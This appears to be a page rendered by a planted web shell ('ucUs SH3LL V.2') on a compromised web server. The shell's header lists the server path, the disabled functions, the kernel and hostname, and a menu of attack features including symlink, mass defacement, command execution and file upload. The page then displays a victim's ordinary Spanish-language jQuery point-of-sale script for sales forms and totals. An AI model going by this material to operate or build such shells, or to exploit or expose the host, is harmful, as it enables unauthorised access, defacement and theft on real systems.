Comming ucUs SH3LL V.2

Path : /home/gujo45me/public_html/anmar2/public/js/contingencia/
Disable Functions : exec,passthru,shell_exec,system
System : Linux server-604606.appsiete.com 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64

[ Home ][ Zone-h ][ Jumping ][ Symlink ][ Mass Depes ][ Command ]

File Upload :
Current File : /home/gujo45me/public_html/anmar2/public/js/contingencia/nuevo.js

$(function () {

	/******************************************************************************/
	/* start: valida formulario de ventas
	/******************************************************************************/

    $('#frmNuevo').form({
    	keyboardShortcuts: false,
    	fields: {
		    numero_documento: {
		    	depends : 'nombre',
		        rules: [
                    { type : 'integer', prompt : 'Ingrese solo números'},
                    { type : 'exactLength[8]', prompt : 'El DNI debe tener {ruleValue} digitos'}
                ]
		    },
		    nombre: {
		    	depends : 'numero_documento',
		        rules: [
		            { type : 'empty', prompt : 'Complete este campo'},
		            { type : 'minLength[3]', prompt : 'El nombre es muy corto'}, 
		        ]
		    },
		    numero_comprobante: {
		        rules: [
		        	{ type : 'empty', prompt : 'Complete este campo'},
                    { type : 'integer', prompt : 'Ingrese solo números'},
                    { type   : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'},
                ]
		    },
		    serie_comprobante: {
		        rules: [
		        	{ type : 'empty', prompt : 'Complete este campo'},
                    { type   : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'},
                    { type : 'integer', prompt : 'Ingrese solo números'},
                    { type : 'exactLength[4]', prompt : 'La serie debe tener {ruleValue} digitos'}
                ]
		    },
		    fecha_venta: {
		        rules: [
		        	{ type : 'empty', prompt : 'Complete este campo'},
                ]
		    },
    	},
    	inline : true,
	});

  	$('.btn_registrar').on('click', function() {
  		var count=$("#tbody tr:first > td").length;
    	if (count > 0 && ($('#total_venta') !== "")) {
    		if ($('#total_venta').val() !== "") {
			  	if ($('#frmNuevo').form('is valid')) {
					$('#register_modal').modal({
		  				closable: false,
				    	onApprove : function() {
				    		sendForm();
					    }
			  		}).modal('show');  
				} else {
					$('#frmNuevo').form('validate form');
				}
			} else {
				swal("Los precios", "de los productos no son validos", "warning");
			}
		} else {
			swal("Por favor", "agregue algun producto a la lista", "warning");
		}
  	});	

  	function sendForm() {

	    var data = $('#frmNuevo').serialize();

        $.requestApi('/contingencia/registrar', data, 'POST', function (resolve) {
	        if (resolve) {
	        	$.showMessagesComment(resolve, true, APP_URL+'/contingencia/detalles/'+resolve.id_venta );
	        }
	    });
  
        return false;
	};


	/******************************************************************************/
	/* start: muestra oculta fecha de pago al credito
	/******************************************************************************/
	$('[name="tipo_pago"]').change(function() {
		var option= $("option:selected", this).val();
		
	  	if (option == "CREDITO") {
			$('#fecha_pago').css('visibility', 'visible');
			$('#frmNuevo').form('add rule', 'fecha_pago', {
		        rules: [{ type : 'empty', prompt : 'Ingrese una fecha de pago'}]
		    });
		} else {
		    $('#fecha_pago').css('visibility', 'hidden');
			$('#frmNuevo').form('remove fields', ['fecha_pago']);
			$('#frmNuevo').form('remove prompt', ['fecha_pago']);
			$('[name="fecha_pago"]').val(''); 
		}
	});

	$('[name="fecha_pago"]').on('change', function(){
		if ($('[name="fecha_pago"]').val() !== '' ) {
			$('#frmNuevo').form('remove prompt', ['fecha_pago']);
		}
	}); 



    /*********************************************************************************************************/
	/* modal mostrar todos los productos
	/*********************************************************************************************************/

	
	function buscarNombreProducto(producto) {
  
        $._requestApi('/producto_local/getByNombre', {'search' : producto }, 'GET', function (resolve) {
	        if (resolve) {

	        	var datos = [];
                for( var i=0; i< resolve.length; i++ ){
                    resolve[i]['i'] = i+1;
                    if(resolve[i]){
                        datos.push(renderProductos(resolve[i]));
                    }
                }
                $('#tbody_productos').html(datos.join(''));
	        	
	    	}

	    	$("#btn_buscar_prod").removeClass('loading');
	    });
  	};

	$('.btn_buscar_producto').on('click', function() {
  		$('#buscar_producto_modal').modal('show'); 
  		$('#buscar_producto').val('');
  		//resetearTablaProducto();
  	});	


	$('#buscar_producto').on('keypress', function(e){
	    if (e.keyCode == 13){
	    	$("#btn_buscar_prod").addClass('loading');
	    	var producto = $('#buscar_producto').val();
    		buscarNombreProducto(producto);
    	}	
	});

	$('#btn_buscar_prod').on('click', function() {
		$("#btn_buscar_prod").addClass('loading');
    	var producto = $('#buscar_producto').val();
    	buscarNombreProducto(producto);
  	});


    $('body').on('click', '.btn_seleccionar_producto', function(){ 
    	var id = $(this).data("id");
    	$("#loader_busqueda").removeClass('disabled');
		$("#loader_busqueda").addClass('active');
        $._requestApi('/producto_local/getById', {id_producto : id }, 'GET', function (resolve) {
	        if (resolve) {
	        	if (resolve.id_producto) {
		        	agregarTabla(resolve);	
		        }
		        $("#loader_busqueda").removeClass('active');
				$("#loader_busqueda").addClass('disabled');
				$('#buscar_producto_modal').modal('hide'); 
	        }	
	    });
  	});


 	/*********************************************************************************************************/
	/* modal mostrar todos los clientes
	/*********************************************************************************************************/

	function buscarNombreCliente(cliente) {
  
        $._requestApi('/cliente/getByNombre', {'search' : cliente }, 'GET', function (resolve) {
	        if (resolve) {
	        	var datos = [];
                for( var i=0; i< resolve.length; i++ ){
                    resolve[i]['i'] = i+1;
                    if(resolve[i]){
                        datos.push(renderClientes(resolve[i]));
                    }
                }
                $('#tbody_clientes').html(datos.join(''));
	    	}
	    	$("#btn_buscar_cli").removeClass('loading');
	    });
  	};

	$('.btn_buscar_cliente').on('click', function() {
  		$('#buscar_cliente_modal').modal('show'); 
  		$('#buscar_cliente').val('');
  		//resetearTablaProducto();
  	});	


	$('#buscar_cliente').on('keypress', function(e){
	    if (e.keyCode == 13){
	    	$("#btn_buscar_cli").addClass('loading');
	    	var cliente = $('#buscar_cliente').val();
    		buscarNombreCliente(cliente);
    	}	
	});

	$('#btn_buscar_cli').on('click', function() {
		$("#btn_buscar_cli").addClass('loading');
    	var cliente = $('#buscar_cliente').val();
    	buscarNombreCliente(cliente);
  	});


    $('body').on('click', '.btn_seleccionar_cliente', function(){ 
		$("#numero_documento").val($(this).data("documento"));
		$("#nombre_cliente").val($(this).data("nombre"));
		$("#direccion").val($(this).data("direccion"));
		$('#buscar_cliente_modal').modal('hide'); 
  	});

	/******************************************************************************/
	/* buscar cliente con Keypress
	/******************************************************************************/

	$('#numero_documento').on('keyup', function(){
  		$(this).val($(this).val().trim());
    });

/*    $('#numero_documento').on('focusout', function(){
  		var num = $('#numero_documento').val();
    	buscarDocumentoCliente(num);
    });*/

  	$('#numero_documento').on('keypress', function(e){
	    if (e.keyCode == 13){
	    	var num = $('#numero_documento').val();
    		buscarDocumentoCliente(num);
    	}	
	});

    $('#loading_doc').on('click', function() {
    	var num = $('#numero_documento').val();
    	buscarDocumentoCliente(num);
  	});

  	function buscarDocumentoCliente(num) 
  	{	
    	if ( $('#tipo_documento').val() == 1 && num.length == 11  ) // FACTURA
    	{
    		$("#loading_doc").addClass('loading');
    		$._requestApi('/cliente/getRucByApi', {'numero_documento' : num }, 'GET', function (resolve) {
        		if (resolve.nombre) {
		        	$('#nombre_cliente').val(resolve.nombre);
		        	resolve.direccion !== '-' ? $('#direccion').val(resolve.direccion) : $('#direccion').val('ABANCAY');
		        }
		        else {
		        	$('#nombre_cliente').val('');
		        	$('#direccion').val('');
		        }
		        $("#loading_doc").removeClass('loading');
        	}, function () {
        		$("#loading_doc").removeClass('loading');
        	});
    	}

    	if ( $('#tipo_documento').val() == 2  && num.length == 8 ) // BOLETA
    	{
    		$("#loading_doc").addClass('loading');
    		$._requestApi('/cliente/getDniByApi', {'numero_documento' : num }, 'GET', function (resolve) {
        		if (resolve.nombre) {
		        	$('#nombre_cliente').val(resolve.nombre.trim());
		        	resolve.nombre.trim() !== '' ? $('#direccion').val('ABANCAY') : $('#direccion').val('');
		        }
		        else {
		        	$('#nombre_cliente').val('');
		        	$('#direccion').val('');
		        }
		        $("#loading_doc").removeClass('loading');
        	}, function () {
        		$("#loading_doc").removeClass('loading');
        	});

    	}
  	}	
	/******************************************************************************/
	/* start: agrega productos a lista
	/******************************************************************************/

	$('[name="id_prod"]').dropdown({
        placeholder: 'Ingrese nombre de producto a buscar',
        direction: 'downward',
        forceSelection : false,
        fields: {
        	remoteValues: 'productos',
        	name: "nombre",
        	value: "id_producto"
        },
     	apiSettings: {
	        method: 'get',
	        cache: false,
	        url: APP_URL + '/xml/productos/{query}',
	    },

	    onChange: function(value, text, $selectedItem) {
	    	$._requestApi('/producto_local/getById', {id_producto : value }, 'GET', function (resolve) {
		        if (resolve) {
		        	if (resolve.id_producto) {
			        	agregarTabla(resolve);	
			        	
			        }
		        }	
		    });
	    }
	});
  	
  	var EventoOnKeyUpCodigoBarras;

  	$.buscarCodigoBarras = function () {	

  		$('#loading_input').addClass('loading');
  		clearTimeout(EventoOnKeyUpCodigoBarras);

  		EventoOnKeyUpCodigoBarras = setTimeout(function()
        {
  			$._requestApi('/producto_local/getByCodBarras', {codigo_barras : $("#codigo_barras").val() }, 'GET', function (resolve) {
		        if (resolve) {
		        	if (resolve.id_producto) {
			        	agregarTabla(resolve);	
			        }
			        $("#codigo_barras").val('');
			        $('#loading_input').removeClass('loading');
			       
		        }
		        	
		    });
			
		}, 200);		
  	}

	/*********************************************************************************************************/
	/* funcion agregar a tabla
	/*********************************************************************************************************/

 	function agregarTabla(data) {
  		if (verificaExite(data.id_producto)) {
  			cant = parseFloat($('#cant'+data.id_producto).val());
  			$('#cant'+data.id_producto).val(cant + 1);
  			calculaSubtotal(data.id_producto, data.producto.valor_impuesto);
  			calcularTotal();

  		} else {
  			agregarFila(data);
  		}
        
  	}


  	function agregarFila(data) {

		var nuevoProducto=''+
            '<tr class="rows" id="'+data.id_producto+'">'+
                '<td><input type="hidden" name="id_producto[]" value="'+data.id_producto+'"/>'+data.producto.nombre+' '+(data.producto.descripcion !== null ? data.producto.descripcion : '')+'</td>'+
                '<td><input type="text" name="cantidad[]" class="cant '+data.id_producto+'" id="cant'+data.id_producto+'" value="1" size="1"></td>'+
                //'<td class="warning"><input type="hidden" name="precio_venta[]" id="prec'+data.id_producto+'" value="'+data.producto.precio+'"/>'+data.producto.precio+'</td>'+
                '<td class="warning"><input type="text" readonly class="prec '+data.id_producto+'"  name="precio_venta[]" id="prec'+data.id_producto+'" value="'+data.producto.precio+'" size="2"/></td>'+
                '<td><input type="text" name="descuento[]" class="desc '+data.id_producto+'" id="desc'+data.id_producto+'" value="0" size="1"></td>'+
                '<td style="display:none"><input type="hidden" name="impuesto[]" class="impu '+data.producto.valor_impuesto+'" id="impu'+data.id_producto+'" value="'+(data.producto.precio-(data.producto.precio/(1+(data.producto.valor_impuesto/100)))).toFixed(2)+'"/></td>'+
                '<td class="positive"><input type="hidden" name="subtotal[]" id="subt'+data.id_producto+'" value="'+data.producto.precio+'"/><span id="v_subt'+data.id_producto+'">'+data.producto.precio+'</span></td>'+
                '<td><div class="ui mini vertical animated red button" onclick="quitarTabla(this)" title="Quitar de la lista"><div class="hidden content">Quitar</div><div class="visible content"><i class="times icon"></i></div></div></td>'+
            '</tr>';
          
        $("#tbody").append(nuevoProducto);

        calcularTotal(); 
  	}

	/*********************************************************************************************************/
	/* start: calcula precios al presionar tecla
	/*********************************************************************************************************/
	$('body').on('click', '.prec', function(){
	 	$(this).attr("readonly", false);
	});

  	$('body').on('keyup', '.cant', function(){

  		$(this).val($(this).val().trim());
    	var arr = $(this).attr('class').split(" ");
    	var imp = $('#impu'+arr[1]).attr('class').split(" ");
        calculaSubtotal(arr[1], imp[1]);
        calcularTotal(); 
	    
    });

    $('body').on('keyup', '.desc', function(){

    	$(this).val($(this).val().trim());
		var arr = $(this).attr('class').split(" ");
    	var imp = $('#impu'+arr[1]).attr('class').split(" ");
        calculaSubtotal(arr[1], imp[1]);
        calcularTotal(); 
    	
    });

    $('body').on('keyup', '.prec', function(){

    	$(this).val($(this).val().trim());
		var arr = $(this).attr('class').split(" ");
    	var imp = $('#impu'+arr[1]).attr('class').split(" ");
        calculaSubtotal(arr[1], imp[1]);
        calcularTotal(); 
    	
    });



    $('body').on('keyup', '#efectivo', function(){
    	$(this).val($(this).val().trim());
        calculaVuelto( $("#total").val(), $(this).val());
    });

    $('body').on('click', '.btn_calculadora', function(){
    	$('#calculadora_modal').modal('setting', 'transition', "vertical flip").modal('show');
    	$("#total").val($("#total_venta").val());
    	$("#vuelto").val('');
    	$("#efectivo").val('');
    });

    /*********************************************************************************************************/
	/* modal agregar producto
	/*********************************************************************************************************/  	
	$('.btn_nuevo_producto').on('click', function() {
  		$('#nuevo_producto_modal').modal('show'); 
  	});	

  	$('#frmNuevoProducto').form({
  		keyboardShortcuts: false,
    	fields: {
	      	nombre: {
		        rules: [{ type : 'empty', prompt : 'Complete este campo'}]
		    },

		    precio: {
		        rules: [
			        { type : 'empty', prompt : 'Complete este campo'},
			        { type   : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'},
		        ]
		    },
    	},
    	inline : true,
    });

    $('.btn_registrar_producto').on('click', function() {
		if ($('#frmNuevoProducto').form('is valid')) {
			$("#loader_producto").removeClass('disabled');
			$("#loader_producto").addClass('active');
			var data = $('#frmNuevoProducto').serialize();
	        $._requestApi('/producto/registrar_venta', data, 'POST', function (resolve) {
		        if (resolve) {
		            if (resolve.message === "success") {
		            	agregarTabla(resolve);	
		            }
		            $("#loader_producto").removeClass('active');
					$("#loader_producto").addClass('disabled');
					$('#nuevo_producto_modal').modal('hide'); 
					$.Helper.clearFields("#frmNuevoProducto", ["valor_impuesto", "stock"]); 
		        }
		    });

		} else {
			$('#frmNuevoProducto').form('validate form');
		}
  	});

});

/*********************************************************************************************************/
/* funciones de calculo
/*********************************************************************************************************/

function calculaSubtotal(id, imp) { 
	var subt = (parseFloat($('#prec'+id).val()).toFixed(2)*parseFloat($('#cant'+id).val()).toFixed(2)) - parseFloat($('#desc'+id).val()).toFixed(2);
	$('#subt'+id).val(validaNumero($('#prec'+id).val()) && validaNumero($('#cant'+id).val()) && validaNumero($('#desc'+id).val()) && (subt > 0) ? subt.toFixed(2) : '');
    $('#v_subt'+id).text(validaNumero($('#prec'+id).val()) && validaNumero($('#cant'+id).val()) && validaNumero($('#desc'+id).val()) && (subt > 0) ? subt.toFixed(2) : '');
    calculaImpuesto(id, imp);
}

function calculaImpuesto(id, v_impu) {
	var impu = parseFloat($('#subt'+id).val()).toFixed(2) - parseFloat($('#subt'+id).val()).toFixed(2)/(1+(v_impu/100));
	$('#impu'+id).val(validaNumero($('#subt'+id).val()) && !isNaN(impu) ? impu.toFixed(2) : '');
}

function calculaVuelto(total, efectivo) { 
	var vuelto = efectivo-total;
	$('#vuelto').val(validaNumero(vuelto) && validaNumero(efectivo) && (vuelto > 0) ? vuelto.toFixed(2) : '0.00');
}

function validaNumero(valor) {
    var expresion=/^[0-9]+([\.]{1}[0-9]+)?$/;
    return !expresion.test(valor) ? false : true; 
}

function verificaExite(id) {
	exist = false;
	$('#tbody tr').each(function() {
    	if (this.id == id) {
    		exist = true;
    	}
  	});

	return exist;
}

function calcularTotal() {
	var total = 0;
	$('#tbody').find('tr').each(function(index, element) {
	    $(element).find('td').each(function(index1, element1) {
	        if(index1==5) { //Index empieza en 0 incluye hiddens
	            temp = parseFloat($(element1).text());
	            total+= temp;
	        }
	    });
	});
	$('#total_venta').val(!isNaN(total) ? total.toFixed(2) : '');
}

function quitarTabla(elem) {
    var elementoEliminar=$(elem).parent().parent();
    $(elementoEliminar).remove();
    calcularTotal();
}

/*********************************************************************************************************/
/* funciones de busqueda de productos
/*********************************************************************************************************/

function renderProductos(resolve){
	var arr = [];
    arr = [
        '<tr data-table="'+resolve.id_producto+'">',
            '<td>',resolve.i,'</td>',
            '<td>',resolve.producto.codigo_barras,'</td>',
            '<td>',resolve.producto.nombre,'</td>',
            '<td>',resolve.producto.descripcion,'</td>',
            '<td>',resolve.producto.precio,'</td>',
            '<td>', (resolve.producto.fecha_vencimiento !== '' ? resolve.producto.fecha_vencimiento : "Sin fecha") ,'</td>',
            '<td><div class="ui mini vertical animated positive button btn_seleccionar_producto" title="Seleccionar este producto" data-id="',resolve.id_producto,'" data-stock="',resolve.stock,'" data-precio="',resolve.producto.precio,'"><div class="hidden content">Elegir</div><div class="visible content"><i class="check icon"></i></div></div></td>',
        '</tr>',
    ];
    return arr.join(''); 
}

function renderClientes(resolve){
	var arr = [];
    arr = [
        '<tr data-table="'+resolve.id_cliente+'">',
            '<td>',resolve.i,'</td>',
            '<td>',resolve.nombre,'</td>',
            '<td>',resolve.tipo_documento.nombre,'</td>',
            '<td>',resolve.numero_documento,'</td>',
            '<td><div class="ui mini vertical animated positive button btn_seleccionar_cliente" title="Seleccionar este cliente" data-nombre="',resolve.nombre,'" data-documento="',resolve.numero_documento,'" data-direccion="',resolve.direccion,'"><div class="hidden content">Elegir</div><div class="visible content"><i class="check icon"></i></div></div></td>',
        '</tr>',
    ];
    return arr.join(''); 
}

Copyright © 2019 | Powered By MecUs7